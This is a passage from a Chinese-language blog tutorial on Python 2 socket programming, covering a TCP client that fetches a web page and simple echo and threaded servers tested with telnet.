<span class="k">print</span> <span class="s">'Error mesasge: '</span> <span class="o">+</span> <span class="n">msg</span><span class="p">[</span><span class="mi">1</span><span class="p">]</span>
<span class="n">sys</span><span class="p">.</span><span class="nb">exit</span><span class="p">(</span><span class="mi">1</span><span class="p">)</span>
<span class="k">print</span> <span class="s">'Socket created!'</span></code></pre></figure>
<p>OK, 你已经成功创建了一个 socket, 接下来, 我们将使用这个 socket 连接到 love67.net</p>
<p>##注意</p>
<p>与 SOCK_STREAM 对应的其他类型是 SOCK_DGRAM , 后者是 UDP 协议, 本文我们只讨论 TCP.</p>
<p>#连接到服务器</p>
<p>连接到远程服务器, 需要知道服务器的 IP 地址和端口号, 以 love67.net 的80端口为例.</p>
<p>##首先获取远程服务器的 IP 地址:</p>
<figure class="highlight"><pre><code class="language-python" data-lang="python"><span class="kn">import</span> <span class="nn">socket</span>
<span class="kn">import</span> <span class="nn">sys</span>
<span class="k">try</span><span class="p">:</span>
<span class="n">s</span> <span class="o">=</span> <span class="n">socket</span><span class="p">.</span><span class="n">socket</span><span class="p">(</span><span class="n">socket</span><span class="p">.</span><span class="n">AF_INET</span><span class="p">,</span> <span class="n">socket</span><span class="p">.</span><span class="n">SOCK_STREAM</span><span class="p">)</span>
<span class="k">except</span> <span class="n">socket</span><span class="p">.</span><span class="n">error</span><span class="p">,</span> <span class="n">msg</span><span class="p">:</span>
<span class="k">print</span> <span class="s">'Failed to create socket, Error code: '</span> <span class="o">+</span> <span class="nb">str</span><span class="p">(</span><span class="n">msg</span><span class="p">[</span><span class="mi">0</span><span class="p">])</span>
<span class="k">print</span> <span class="s">'Error mesasge: '</span> <span class="o">+</span> <span class="n">msg</span><span class="p">[</span><span class="mi">1</span><span class="p">]</span>
<span class="n">sys</span><span class="p">.</span><span class="nb">exit</span><span class="p">(</span><span class="mi">1</span><span class="p">)</span>
<span class="k">print</span> <span class="s">'Socket created!'</span>
<span class="n">host</span> <span class="o">=</span> <span class="s">'www.love67.net'</span>
<span class="k">try</span><span class="p">:</span>
<span class="n">remote_ip</span> <span class="o">=</span> <span class="n">socket</span><span class="p">.</span><span class="n">gethostbyname</span><span class="p">(</span><span class="n">host</span><span class="p">)</span>
<span class="k">except</span> <span class="n">socket</span><span class="p">.</span><span class="n">gaierror</span><span class="p">:</span>
<span class="c1">#coulde not resolve
</span> <span class="k">print</span> <span class="s">'Hostname could not be resolved. Exiting...'</span>
<span class="n">sys</span><span class="p">.</span><span class="nb">exit</span><span class="p">()</span>
<span class="k">print</span> <span class="s">'Ip address of '</span> <span class="o">+</span> <span class="n">host</span> <span class="o">+</span> <span class="s">' is '</span> <span class="o">+</span> <span class="n">remote_ip</span></code></pre></figure>
<p>我们获得了 ip 地址后, 接下来连接到指定的端口上:</p>
<figure class="highlight"><pre><code class="language-python" data-lang="python"><span class="kn">import</span> <span class="nn">socket</span>
<span class="kn">import</span> <span class="nn">sys</span>
<span class="k">try</span><span class="p">:</span>
<span class="n">s</span> <span class="o">=</span> <span class="n">socket</span><span class="p">.</span><span class="n">socket</span><span class="p">(</span><span class="n">socket</span><span class="p">.</span><span class="n">AF_INET</span><span class="p">,</span> <span class="n">socket</span><span class="p">.</span><span class="n">SOCK_STREAM</span><span class="p">)</span>
<span class="k">except</span> <span class="n">socket</span><span class="p">.</span><span class="n">error</span><span class="p">,</span> <span class="n">msg</span><span class="p">:</span>
<span class="k">print</span> <span class="s">'Failed to create socket, Error code: '</span> <span class="o">+</span> <span class="nb">str</span><span class="p">(</span><span class="n">msg</span><span class="p">[</span><span class="mi">0</span><span class="p">])</span>
<span class="k">print</span> <span class="s">'Error mesasge: '</span> <span class="o">+</span> <span class="n">msg</span><span class="p">[</span><span class="mi">1</span><span class="p">]</span>
<span class="n">sys</span><span class="p">.</span><span class="nb">exit</span><span class="p">(</span><span class="mi">1</span><span class="p">)</span>
<span class="k">print</span> <span class="s">'Socket created!'</span>
<span class="n">host</span> <span class="o">=</span> <span class="s">'www.love67.net'</span>
<span class="n">port</span> <span class="o">=</span> <span class="mi">80</span>
<span class="k">try</span><span class="p">:</span>
<span class="n">remote_ip</span> <span class="o">=</span> <span class="n">socket</span><span class="p">.</span><span class="n">gethostbyname</span><span class="p">(</span><span class="n">host</span><span class="p">)</span>
<span class="k">except</span> <span class="n">socket</span><span class="p">.</span><span class="n">gaierror</span><span class="p">:</span>
<span class="c1">#coulde not resolve
</span> <span class="k">print</span> <span class="s">'Hostname could not be resolved. Exiting...'</span>
<span class="n">sys</span><span class="p">.</span><span class="nb">exit</span><span class="p">()</span>
<span class="k">print</span> <span class="s">'Ip address of '</span> <span class="o">+</span> <span class="n">host</span> <span class="o">+</span> <span class="s">' is '</span> <span class="o">+</span> <span class="n">remote_ip</span>
<span class="c1">#连接到远程服务器
</span><span class="n">s</span><span class="p">.</span><span class="n">connect</span><span class="p">((</span><span class="n">remote_ip</span><span class="p">,</span> <span class="n">port</span><span class="p">))</span>
<span class="k">print</span> <span class="s">'Socket connected to '</span> <span class="o">+</span> <span class="n">host</span> <span class="o">+</span> <span class="s">' on ip '</span> <span class="o">+</span> <span class="n">remote_ip</span></code></pre></figure>
<p>运行结果:<br /></p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>Socket created!
Ip address of www.love67.net is 199.27.79.133
Socket connected to www.love67.net on ip 199.27.79.133
</code></pre></div></div>
<p>创建了一个了一个 socket 并进行连接, 试试其他端口, 你会发现连不上, 这个逻辑可以用来当做端口扫描.</p>
<p>Ok, 连上之后, 我们向服务器发送数据.</p>
<p>##发送数据</p>
<p>函数 <code>sendall</code>用于简单的数据发送, 发送数据到 www.love67.net</p>
<figure class="highlight"><pre><code class="language-python" data-lang="python"><span class="kn">import</span> <span class="nn">socket</span> <span class="c1">#for sockets
</span><span class="kn">import</span> <span class="nn">sys</span> <span class="c1">#for exit
</span>
<span class="k">try</span><span class="p">:</span>
<span class="c1">#create an AF_INET, STREAM socket (TCP)
</span> <span class="n">s</span> <span class="o">=</span> <span class="n">socket</span><span class="p">.</span><span class="n">socket</span><span class="p">(</span><span class="n">socket</span><span class="p">.</span><span class="n">AF_INET</span><span class="p">,</span> <span class="n">socket</span><span class="p">.</span><span class="n">SOCK_STREAM</span><span class="p">)</span>
<span class="k">except</span> <span class="n">socket</span><span class="p">.</span><span class="n">error</span><span class="p">,</span> <span class="n">msg</span><span class="p">:</span>
<span class="k">print</span> <span class="s">'Failed to create socket. Error code: '</span> <span class="o">+</span> <span class="nb">str</span><span class="p">(</span><span class="n">msg</span><span class="p">[</span><span class="mi">0</span><span class="p">])</span> <span class="o">+</span> <span class="s">' , Error message : '</span> <span class="o">+</span> <span class="n">msg</span><span class="p">[</span><span class="mi">1</span><span class="p">]</span>
<span class="n">sys</span><span class="p">.</span><span class="nb">exit</span><span class="p">();</span>
<span class="k">print</span> <span class="s">'Socket Created'</span>
<span class="n">host</span> <span class="o">=</span> <span class="s">'www.love67.net'</span>
<span class="n">port</span> <span class="o">=</span> <span class="mi">80</span>
<span class="k">try</span><span class="p">:</span>
<span class="n">remote_ip</span> <span class="o">=</span> <span class="n">socket</span><span class="p">.</span><span class="n">gethostbyname</span><span class="p">(</span> <span class="n">host</span> <span class="p">)</span>
<span class="k">except</span> <span class="n">socket</span><span class="p">.</span><span class="n">gaierror</span><span class="p">:</span>
<span class="c1">#could not resolve
</span> <span class="k">print</span> <span class="s">'Hostname could not be resolved. Exiting'</span>
<span class="n">sys</span><span class="p">.</span><span class="nb">exit</span><span class="p">()</span>
<span class="k">print</span> <span class="s">'Ip address of '</span> <span class="o">+</span> <span class="n">host</span> <span class="o">+</span> <span class="s">' is '</span> <span class="o">+</span> <span class="n">remote_ip</span>
<span class="c1">#Connect to remote server
</span><span class="n">s</span><span class="p">.</span><span class="n">connect</span><span class="p">((</span><span class="n">remote_ip</span> <span class="p">,</span> <span class="n">port</span><span class="p">))</span>
<span class="k">print</span> <span class="s">'Socket Connected to '</span> <span class="o">+</span> <span class="n">host</span> <span class="o">+</span> <span class="s">' on ip '</span> <span class="o">+</span> <span class="n">remote_ip</span>
<span class="c1">#Send some data to remote server
</span><span class="n">message</span> <span class="o">=</span> <span class="s">"GET / HTTP/1.1</span><span class="se">\r\n\r\n</span><span class="s">"</span>
<span class="k">try</span> <span class="p">:</span>
<span class="c1">#Set the whole string
</span> <span class="n">s</span><span class="p">.</span><span class="n">sendall</span><span class="p">(</span><span class="n">message</span><span class="p">)</span>
<span class="k">except</span> <span class="n">socket</span><span class="p">.</span><span class="n">error</span><span class="p">:</span>
<span class="c1">#Send failed
</span> <span class="k">print</span> <span class="s">'Send failed'</span>
<span class="n">sys</span><span class="p">.</span><span class="nb">exit</span><span class="p">()</span>
<span class="k">print</span> <span class="s">'Message send successfully'</span></code></pre></figure>
<p>上面代码, 首先连接到目标服务器, 然后发送字符串数据 “GET/HTTP/1.1\r\n\r\n”, 这个HTTP协议用来获取网页的内容.</p>
<p>##接收数据
<code>recv</code>用于接收数据</p>
<figure class="highlight"><pre><code class="language-python" data-lang="python"><span class="c1">#Socket client example in python
</span>
<span class="kn">import</span> <span class="nn">socket</span> <span class="c1">#for sockets
</span><span class="kn">import</span> <span class="nn">sys</span> <span class="c1">#for exit
</span>
<span class="c1">#create an INET, STREAMing socket
</span><span class="k">try</span><span class="p">:</span>
<span class="n">s</span> <span class="o">=</span> <span class="n">socket</span><span class="p">.</span><span class="n">socket</span><span class="p">(</span><span class="n">socket</span><span class="p">.</span><span class="n">AF_INET</span><span class="p">,</span> <span class="n">socket</span><span class="p">.</span><span class="n">SOCK_STREAM</span><span class="p">)</span>
<span class="k">except</span> <span class="n">socket</span><span class="p">.</span><span class="n">error</span><span class="p">:</span>
<span class="k">print</span> <span class="s">'Failed to create socket'</span>
<span class="n">sys</span><span class="p">.</span><span class="nb">exit</span><span class="p">()</span>
<span class="k">print</span> <span class="s">'Socket Created'</span>
<span class="n">host</span> <span class="o">=</span> <span class="s">'love67.net'</span><span class="p">;</span>
<span class="n">port</span> <span class="o">=</span> <span class="mi">80</span><span class="p">;</span>
<span class="k">try</span><span class="p">:</span>
<span class="n">remote_ip</span> <span class="o">=</span> <span class="n">socket</span><span class="p">.</span><span class="n">gethostbyname</span><span class="p">(</span> <span class="n">host</span> <span class="p">)</span>
<span class="k">except</span> <span class="n">socket</span><span class="p">.</span><span class="n">gaierror</span><span class="p">:</span>
<span class="c1">#could not resolve
</span> <span class="k">print</span> <span class="s">'Hostname could not be resolved. Exiting'</span>
<span class="n">sys</span><span class="p">.</span><span class="nb">exit</span><span class="p">()</span>
<span class="c1">#Connect to remote server
</span><span class="n">s</span><span class="p">.</span><span class="n">connect</span><span class="p">((</span><span class="n">remote_ip</span> <span class="p">,</span> <span class="n">port</span><span class="p">))</span>
<span class="k">print</span> <span class="s">'Socket Connected to '</span> <span class="o">+</span> <span class="n">host</span> <span class="o">+</span> <span class="s">' on ip '</span> <span class="o">+</span> <span class="n">remote_ip</span>
<span class="c1">#Send some data to remote server
</span><span class="n">message</span> <span class="o">=</span> <span class="s">"GET / HTTP/1.1</span><span class="se">\r\n</span><span class="s">Host: love67.net</span><span class="se">\r\n\r\n</span><span class="s">"</span>
<span class="k">try</span> <span class="p">:</span>
<span class="c1">#Set the whole string
</span> <span class="n">s</span><span class="p">.</span><span class="n">sendall</span><span class="p">(</span><span class="n">message</span><span class="p">)</span>
<span class="k">except</span> <span class="n">socket</span><span class="p">.</span><span class="n">error</span><span class="p">:</span>
<span class="c1">#Send failed
</span> <span class="k">print</span> <span class="s">'Send failed'</span>
<span class="n">sys</span><span class="p">.</span><span class="nb">exit</span><span class="p">()</span>
<span class="k">print</span> <span class="s">'Message send successfully'</span>
<span class="c1">#Now receive data
</span><span class="n">reply</span> <span class="o">=</span> <span class="n">s</span><span class="p">.</span><span class="n">recv</span><span class="p">(</span><span class="mi">1000</span><span class="p">)</span>
<span class="k">print</span> <span class="n">reply</span></code></pre></figure>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>Socket Created
Socket Connected to love67.net on ip 207.97.227.245
Message send successfully
HTTP/1.1 200 OK
Server: GitHub.com
Date: Tue, 18 Feb 2014 14:08:22 GMT
Content-Type: text/html; charset=utf-8
Content-Length: 16284
Last-Modified: Tue, 18 Feb 2014 11:40:53 GMT
Connection: close
Expires: Tue, 18 Feb 2014 14:18:22 GMT
Cache-Control: max-age=600
Vary: Accept-Encoding
Accept-Ranges: bytes
<!DOCTYPE html>
<html lang="en">
<head>
<link rel="icon" type="image/x-icon" href="/favicon.ico" />
<meta charset="utf-8">
<meta name="google-site-verification" content="LYB4yqjlrK8xP-NyFUpqzka4SE2PllBFl33Lrcnpx9o" />
<title>
What a wonderful world ! -
Coding~
</title>
<meta name="author" content="Fish">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<!-- HTML5 shim, for IE6-8 support of HTML elements -->
<!--[if lt IE 9]>
<script src="http://html5shim.googlecode.com/svn/trunk/html5.js"></script>
<![endif]-->
</code></pre></div></div>
<p>love67.net返回了我们的 URL 请求, 很简单! 数据接收完后, 就关闭 socket.</p>
<p>##关闭 socket</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>s.close()
</code></pre></div></div>
<p>##回顾</p>
<p>在上面的几个代码中, 我们学习到如何:</p>
<ul>
<li>创建一个 socket</li>
<li>连接到远程服务器</li>
<li>发送数据</li>
<li>收到服务器数据</li>
</ul>
<p>当你用浏览器打开 www.love67.net 时,其过程也是一样。包含两种类型,分别是客户端和服务器,客户端连接到服务器并读取数据,服务器使用 Socket 接收进入的连接并提供数据。因此在这里 www.love67.net 是服务器端,而你的浏览器是客户端。</p>
<p>接下来我们开始在服务器端做点编码。</p>
<p>#服务器端编程</p>
<p>服务器端编程主要包括下面几步:</p>
<ol>
<li>打开 socket</li>
<li>绑定到一个地址和端口</li>
<li>侦听进来的连接</li>
<li>接受连接</li>
<li>读写数据</li>
</ol>
<p>我们已经学习过如何打开 Socket 了,下面是绑定到指定的地址和端口上。
##绑定 Socket</p>
<p>bind 函数用于将 Socket 绑定到一个特定的地址和端口,它需要一个类似 connect 函数所需的 sockaddr_in 结构体。</p>
<figure class="highlight"><pre><code class="language-python" data-lang="python"><span class="kn">import</span> <span class="nn">socket</span>
<span class="kn">import</span> <span class="nn">sys</span>
<span class="n">HOST</span> <span class="o">=</span> <span class="s">''</span> <span class="c1"># Symbolic name meaning all available interfaces
</span><span class="n">PORT</span> <span class="o">=</span> <span class="mi">8888</span> <span class="c1"># Arbitrary non-privileged port
</span>
<span class="n">s</span> <span class="o">=</span> <span class="n">socket</span><span class="p">.</span><span class="n">socket</span><span class="p">(</span><span class="n">socket</span><span class="p">.</span><span class="n">AF_INET</span><span class="p">,</span> <span class="n">socket</span><span class="p">.</span><span class="n">SOCK_STREAM</span><span class="p">)</span>
<span class="k">print</span> <span class="s">'Socket created'</span>
<span class="k">try</span><span class="p">:</span>
<span class="n">s</span><span class="p">.</span><span class="n">bind</span><span class="p">((</span><span class="n">HOST</span><span class="p">,</span> <span class="n">PORT</span><span class="p">))</span>
<span class="k">except</span> <span class="n">socket</span><span class="p">.</span><span class="n">error</span> <span class="p">,</span> <span class="n">msg</span><span class="p">:</span>
<span class="k">print</span> <span class="s">'Bind failed. Error Code : '</span> <span class="o">+</span> <span class="nb">str</span><span class="p">(</span><span class="n">msg</span><span class="p">[</span><span class="mi">0</span><span class="p">])</span> <span class="o">+</span> <span class="s">' Message '</span> <span class="o">+</span> <span class="n">msg</span><span class="p">[</span><span class="mi">1</span><span class="p">]</span>
<span class="n">sys</span><span class="p">.</span><span class="nb">exit</span><span class="p">()</span>
<span class="k">print</span> <span class="s">'Socket bind complete'</span></code></pre></figure>
<p>绑定完成后,就需要让 Socket 开始侦听连接。很显然,你不能将两个不同的 Socket 绑定到同一个端口之上。
##连接侦听</p>
<p>绑定 Socket 之后就可以开始侦听连接,我们需要将 Socket 变成侦听模式。socket 的 listen 函数用于实现侦听模式:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>s.listen(10)
print 'Socket now listening'
</code></pre></div></div>
<p>listen 函数所需的参数成为 backlog,用来控制程序忙时可保持等待状态的连接数。这里我们传递的是 10,意味着如果已经有 10 个连接在等待处理,那么第 11 个连接将会被拒绝。当检查了 socket_accept 后这个会更加清晰。
##接受连接</p>
<p>示例代码:</p>
<figure class="highlight"><pre><code class="language-python" data-lang="python"><span class="kn">import</span> <span class="nn">socket</span>
<span class="kn">import</span> <span class="nn">sys</span>
<span class="n">HOST</span> <span class="o">=</span> <span class="s">''</span> <span class="c1"># Symbolic name meaning all available interfaces
</span><span class="n">PORT</span> <span class="o">=</span> <span class="mi">8888</span> <span class="c1"># Arbitrary non-privileged port
</span>
<span class="n">s</span> <span class="o">=</span> <span class="n">socket</span><span class="p">.</span><span class="n">socket</span><span class="p">(</span><span class="n">socket</span><span class="p">.</span><span class="n">AF_INET</span><span class="p">,</span> <span class="n">socket</span><span class="p">.</span><span class="n">SOCK_STREAM</span><span class="p">)</span>
<span class="k">print</span> <span class="s">'Socket created'</span>
<span class="k">try</span><span class="p">:</span>
<span class="n">s</span><span class="p">.</span><span class="n">bind</span><span class="p">((</span><span class="n">HOST</span><span class="p">,</span> <span class="n">PORT</span><span class="p">))</span>
<span class="k">except</span> <span class="n">socket</span><span class="p">.</span><span class="n">error</span> <span class="p">,</span> <span class="n">msg</span><span class="p">:</span>
<span class="k">print</span> <span class="s">'Bind failed. Error Code : '</span> <span class="o">+</span> <span class="nb">str</span><span class="p">(</span><span class="n">msg</span><span class="p">[</span><span class="mi">0</span><span class="p">])</span> <span class="o">+</span> <span class="s">' Message '</span> <span class="o">+</span> <span class="n">msg</span><span class="p">[</span><span class="mi">1</span><span class="p">]</span>
<span class="n">sys</span><span class="p">.</span><span class="nb">exit</span><span class="p">()</span>
<span class="k">print</span> <span class="s">'Socket bind complete'</span>
<span class="n">s</span><span class="p">.</span><span class="n">listen</span><span class="p">(</span><span class="mi">10</span><span class="p">)</span>
<span class="k">print</span> <span class="s">'Socket now listening'</span>
<span class="c1">#wait to accept a connection - blocking call
</span><span class="n">conn</span><span class="p">,</span> <span class="n">addr</span> <span class="o">=</span> <span class="n">s</span><span class="p">.</span><span class="n">accept</span><span class="p">()</span>
<span class="c1">#display client information
</span><span class="k">print</span> <span class="s">'Connected with '</span> <span class="o">+</span> <span class="n">addr</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span> <span class="o">+</span> <span class="s">':'</span> <span class="o">+</span> <span class="nb">str</span><span class="p">(</span><span class="n">addr</span><span class="p">[</span><span class="mi">1</span><span class="p">])</span></code></pre></figure>
<p>运行该程序将会显示:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>$ python server.py
Socket created
Socket bind complete
Socket now listening
</code></pre></div></div>
<p>现在这个程序开始等待连接进入,端口是 8888,请不要关闭这个程序,我们来通过 telnet 程序来进行测试。</p>
<p>打开命令行窗口并输入:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>$ telnet localhost 8888
It will immediately show
$ telnet localhost 8888
Trying 127.0.0.1...
Connected to localhost.
Escape character is '^]'.
Connection closed by foreign host.
</code></pre></div></div>
<p>而服务器端窗口显示的是:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>$ python server.py
Socket created
Socket bind complete
Socket now listening
Connected with 127.0.0.1:59954
</code></pre></div></div>
<p>我们可看到客户端已经成功连接到服务器。</p>
<p>上面例子我们接收到连接并立即关闭,这样的程序没什么实际的价值,连接建立后一般会有大量的事情需要处理,因此让我们来给客户端做出点回应吧。</p>
<p>sendall 函数可通过 Socket 给客户端发送数据:</p>
<figure class="highlight"><pre><code class="language-python" data-lang="python"><span class="kn">import</span> <span class="nn">socket</span>
<span class="kn">import</span> <span class="nn">sys</span>
<span class="n">HOST</span> <span class="o">=</span> <span class="s">''</span> <span class="c1"># Symbolic name meaning all available interfaces
</span><span class="n">PORT</span> <span class="o">=</span> <span class="mi">8888</span> <span class="c1"># Arbitrary non-privileged port
</span>
<span class="n">s</span> <span class="o">=</span> <span class="n">socket</span><span class="p">.</span><span class="n">socket</span><span class="p">(</span><span class="n">socket</span><span class="p">.</span><span class="n">AF_INET</span><span class="p">,</span> <span class="n">socket</span><span class="p">.</span><span class="n">SOCK_STREAM</span><span class="p">)</span>
<span class="k">print</span> <span class="s">'Socket created'</span>
<span class="k">try</span><span class="p">:</span>
<span class="n">s</span><span class="p">.</span><span class="n">bind</span><span class="p">((</span><span class="n">HOST</span><span class="p">,</span> <span class="n">PORT</span><span class="p">))</span>
<span class="k">except</span> <span class="n">socket</span><span class="p">.</span><span class="n">error</span> <span class="p">,</span> <span class="n">msg</span><span class="p">:</span>
<span class="k">print</span> <span class="s">'Bind failed. Error Code : '</span> <span class="o">+</span> <span class="nb">str</span><span class="p">(</span><span class="n">msg</span><span class="p">[</span><span class="mi">0</span><span class="p">])</span> <span class="o">+</span> <span class="s">' Message '</span> <span class="o">+</span> <span class="n">msg</span><span class="p">[</span><span class="mi">1</span><span class="p">]</span>
<span class="n">sys</span><span class="p">.</span><span class="nb">exit</span><span class="p">()</span>
<span class="k">print</span> <span class="s">'Socket bind complete'</span>
<span class="n">s</span><span class="p">.</span><span class="n">listen</span><span class="p">(</span><span class="mi">10</span><span class="p">)</span>
<span class="k">print</span> <span class="s">'Socket now listening'</span>
<span class="c1">#wait to accept a connection - blocking call
</span><span class="n">conn</span><span class="p">,</span> <span class="n">addr</span> <span class="o">=</span> <span class="n">s</span><span class="p">.</span><span class="n">accept</span><span class="p">()</span>
<span class="k">print</span> <span class="s">'Connected with '</span> <span class="o">+</span> <span class="n">addr</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span> <span class="o">+</span> <span class="s">':'</span> <span class="o">+</span> <span class="nb">str</span><span class="p">(</span><span class="n">addr</span><span class="p">[</span><span class="mi">1</span><span class="p">])</span>
<span class="c1">#now keep talking with the client
</span><span class="n">data</span> <span class="o">=</span> <span class="n">conn</span><span class="p">.</span><span class="n">recv</span><span class="p">(</span><span class="mi">1024</span><span class="p">)</span>
<span class="n">conn</span><span class="p">.</span><span class="n">sendall</span><span class="p">(</span><span class="n">data</span><span class="p">)</span>
<span class="n">conn</span><span class="p">.</span><span class="n">close</span><span class="p">()</span>
<span class="n">s</span><span class="p">.</span><span class="n">close</span><span class="p">()</span></code></pre></figure>
<p>继续运行上述代码,然后打开另外一个命令行窗口输入下面命令:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>$ telnet localhost 8888
Trying 127.0.0.1...
Connected to localhost.
Escape character is '^]'.
happy
happy
Connection closed by foreign host.
</code></pre></div></div>
<p>可看到客户端接收到来自服务器端的回应内容。</p>
<p>上面的例子还是一样,服务器端回应后就立即退出了。而一些真正的服务器像 www.love67.net 是一直在运行的,时刻接受连接请求。</p>
<p>也就是说服务器端应该一直处于运行状态,否则就不能成为“服务”,因此我们要让服务器端一直运行,最简单的方法就是把 accept 方法放在一个循环内。
一直在运行的服务器</p>
<p>对上述代码稍作改动:</p>
<figure class="highlight"><pre><code class="language-python" data-lang="python"><span class="kn">import</span> <span class="nn">socket</span>
<span class="kn">import</span> <span class="nn">sys</span>
<span class="n">HOST</span> <span class="o">=</span> <span class="s">''</span> <span class="c1"># Symbolic name meaning all available interfaces
</span><span class="n">PORT</span> <span class="o">=</span> <span class="mi">8888</span> <span class="c1"># Arbitrary non-privileged port
</span>
<span class="n">s</span> <span class="o">=</span> <span class="n">socket</span><span class="p">.</span><span class="n">socket</span><span class="p">(</span><span class="n">socket</span><span class="p">.</span><span class="n">AF_INET</span><span class="p">,</span> <span class="n">socket</span><span class="p">.</span><span class="n">SOCK_STREAM</span><span class="p">)</span>
<span class="k">print</span> <span class="s">'Socket created'</span>
<span class="k">try</span><span class="p">:</span>
<span class="n">s</span><span class="p">.</span><span class="n">bind</span><span class="p">((</span><span class="n">HOST</span><span class="p">,</span> <span class="n">PORT</span><span class="p">))</span>
<span class="k">except</span> <span class="n">socket</span><span class="p">.</span><span class="n">error</span> <span class="p">,</span> <span class="n">msg</span><span class="p">:</span>
<span class="k">print</span> <span class="s">'Bind failed. Error Code : '</span> <span class="o">+</span> <span class="nb">str</span><span class="p">(</span><span class="n">msg</span><span class="p">[</span><span class="mi">0</span><span class="p">])</span> <span class="o">+</span> <span class="s">' Message '</span> <span class="o">+</span> <span class="n">msg</span><span class="p">[</span><span class="mi">1</span><span class="p">]</span>
<span class="n">sys</span><span class="p">.</span><span class="nb">exit</span><span class="p">()</span>
<span class="k">print</span> <span class="s">'Socket bind complete'</span>
<span class="n">s</span><span class="p">.</span><span class="n">listen</span><span class="p">(</span><span class="mi">10</span><span class="p">)</span>
<span class="k">print</span> <span class="s">'Socket now listening'</span>
<span class="c1">#now keep talking with the client
</span><span class="k">while</span> <span class="mi">1</span><span class="p">:</span>
<span class="c1">#wait to accept a connection - blocking call
</span> <span class="n">conn</span><span class="p">,</span> <span class="n">addr</span> <span class="o">=</span> <span class="n">s</span><span class="p">.</span><span class="n">accept</span><span class="p">()</span>
<span class="k">print</span> <span class="s">'Connected with '</span> <span class="o">+</span> <span class="n">addr</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span> <span class="o">+</span> <span class="s">':'</span> <span class="o">+</span> <span class="nb">str</span><span class="p">(</span><span class="n">addr</span><span class="p">[</span><span class="mi">1</span><span class="p">])</span>
<span class="n">data</span> <span class="o">=</span> <span class="n">conn</span><span class="p">.</span><span class="n">recv</span><span class="p">(</span><span class="mi">1024</span><span class="p">)</span>
<span class="n">reply</span> <span class="o">=</span> <span class="s">'OK...'</span> <span class="o">+</span> <span class="n">data</span>
<span class="k">if</span> <span class="ow">not</span> <span class="n">data</span><span class="p">:</span>
<span class="k">break</span>
<span class="n">conn</span><span class="p">.</span><span class="n">sendall</span><span class="p">(</span><span class="n">reply</span><span class="p">)</span>
<span class="n">conn</span><span class="p">.</span><span class="n">close</span><span class="p">()</span>
<span class="n">s</span><span class="p">.</span><span class="n">close</span><span class="p">()</span></code></pre></figure>
<p>很简单只是加多一个 while 1 语句而已。</p>
<p>继续运行服务器,然后打开另外三个命令行窗口。每个窗口都使用 telnet 命令连接到服务器:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>$ telnet localhost 5000
Trying 127.0.0.1...
Connected to localhost.
Escape character is '^]'.
happy
OK .. happy
Connection closed by foreign host.
</code></pre></div></div>
<p>服务器所在的终端窗口显示的是:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>$ python server.py
Socket created
Socket bind complete
Socket now listening
Connected with 127.0.0.1:60225
Connected with 127.0.0.1:60237
Connected with 127.0.0.1:60239
</code></pre></div></div>
<p>你看服务器再也不退出了,好吧,用 Ctrl+C 关闭服务器,所有的 telnet 终端将会显示 “Connection closed by foreign host.”</p>
<p>已经很不错了,但是这样的通讯效率太低了,服务器程序使用循环来接受连接并发送回应,这相当于是一次最多处理一个客户端的请求,而我们要求服务器可同时处理多个请求。
处理多个连接</p>
<p>为了处理多个连接,我们需要一个独立的处理代码在主服务器接收到连接时运行。一种方法是使用线程,服务器接收到连接然后创建一个线程来处理连接收发数据,然后主服务器程序返回去接收新的连接。</p>
<p>下面是我们使用线程来处理连接请求:</p>
<figure class="highlight"><pre><code class="language-python" data-lang="python"><span class="kn">import</span> <span class="nn">socket</span>
<span class="kn">import</span> <span class="nn">sys</span>
<span class="kn">from</span> <span class="nn">thread</span> <span class="kn">import</span> <span class="o">*</span>
<span class="n">HOST</span> <span class="o">=</span> <span class="s">''</span> <span class="c1"># Symbolic name meaning all available interfaces
</span><span class="n">PORT</span> <span class="o">=</span> <span class="mi">8888</span> <span class="c1"># Arbitrary non-privileged port
</span>
<span class="n">s</span> <span class="o">=</span> <span class="n">socket</span><span class="p">.</span><span class="n">socket</span><span class="p">(</span><span class="n">socket</span><span class="p">.</span><span class="n">AF_INET</span><span class="p">,</span> <span class="n">socket</span><span class="p">.</span><span class="n">SOCK_STREAM</span><span class="p">)</span>
<span class="k">print</span> <span class="s">'Socket created'</span>
<span class="c1">#Bind socket to local host and port
</span><span class="k">try</span><span class="p">:</span>
<span class="n">s</span><span class="p">.</span><span class="n">bind</span><span class="p">((</span><span class="n">HOST</span><span class="p">,</span> <span class="n">PORT</span><span class="p">))</span>
<span class="k">except</span> <span class="n">socket</span><span class="p">.</span><span class="n">error</span> <span class="p">,</span> <span class="n">msg</span><span class="p">:</span>
<span class="k">print</span> <span class="s">'Bind failed. Error Code : '</span> <span class="o">+</span> <span class="nb">str</span><span class="p">(</span><span class="n">msg</span><span class="p">[</span><span class="mi">0</span><span class="p">])</span> <span class="o">+</span> <span class="s">' Message '</span> <span class="o">+</span> <span class="n">msg</span><span class="p">[</span><span class="mi">1</span><span class="p">]</span>
<span class="n">sys</span><span class="p">.</span><span class="nb">exit</span><span class="p">()</span>
<span class="k">print</span> <span class="s">'Socket bind complete'</span>
<span class="c1">#Start listening on socket
</span><span class="n">s</span><span class="p">.</span><span class="n">listen</span><span class="p">(</span><span class="mi">10</span><span class="p">)</span>
<span class="k">print</span> <span class="s">'Socket now listening'</span>
<span class="c1">#Function for handling connections. This will be used to create threads
</span><span class="k">def</span> <span class="nf">clientthread</span><span class="p">(</span><span class="n">conn</span><span class="p">):</span>
<span class="c1">#Sending message to connected client
</span> <span class="n">conn</span><span class="p">.</span><span class="n">send</span><span class="p">(</span><span class="s">'Welcome to the server. Type something and hit enter</span><span class="se">\n</span><span class="s">'</span><span class="p">)</span> <span class="c1">#send only takes string
